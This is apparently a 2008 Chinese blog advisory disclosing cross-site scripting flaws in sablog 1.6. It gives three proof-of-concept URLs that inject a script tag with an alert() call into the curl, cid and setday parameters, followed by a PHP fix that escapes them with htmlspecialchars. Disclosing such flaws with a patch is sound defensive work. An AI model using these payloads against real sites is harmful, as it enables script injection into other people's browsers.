popphen.net.ru

sablog 1.6 多个跨站漏洞

Date:2008-03-27
Author:amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严,存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&cid=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&setdate=200804&setday=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1

临时解决办法:

在global.php中过滤curl,cid,setday等
 $modelink = '';
if ($action) {
 $modelink .= '&amp;action='.$action;
}
if ($curl) {
 $modelink .= '&amp;curl='.htmlspecialchars($curl);
}
if ($cid) {
 $modelink .= '&amp;cid='.htmlspecialchars($cid);
}
if ($setdate) {
 $modelink .= '&amp;setdate='.htmlspecialchars($setdate);
}
if ($setday) {
 $modelink .= '&amp;setday='.htmlspecialchars($setday);
}
if (intval($_GET['searchid'])) {
 $modelink .= '&amp;searchid='.htmlspecialchars($_GET['searchid']);
}
if (intval($_GET['userid'])) {
 $modelink .= "&amp;userid=".htmlspecialchars($_GET['userid']);
}
if ($_GET['item']) {
 $item = urlencode(addslashes($item));
 $modelink .= '&amp;item='.$item;
}
引用通告地址: 点击获取引用地址
标签: sablog 漏洞
评论: 0 | 引用: 0 | 阅读: 175
 加入网摘
发表评论
昵 称: 密 码:
网 址: 邮 箱:
验证码: 验证码图片 选 项:
头 像:
内 容: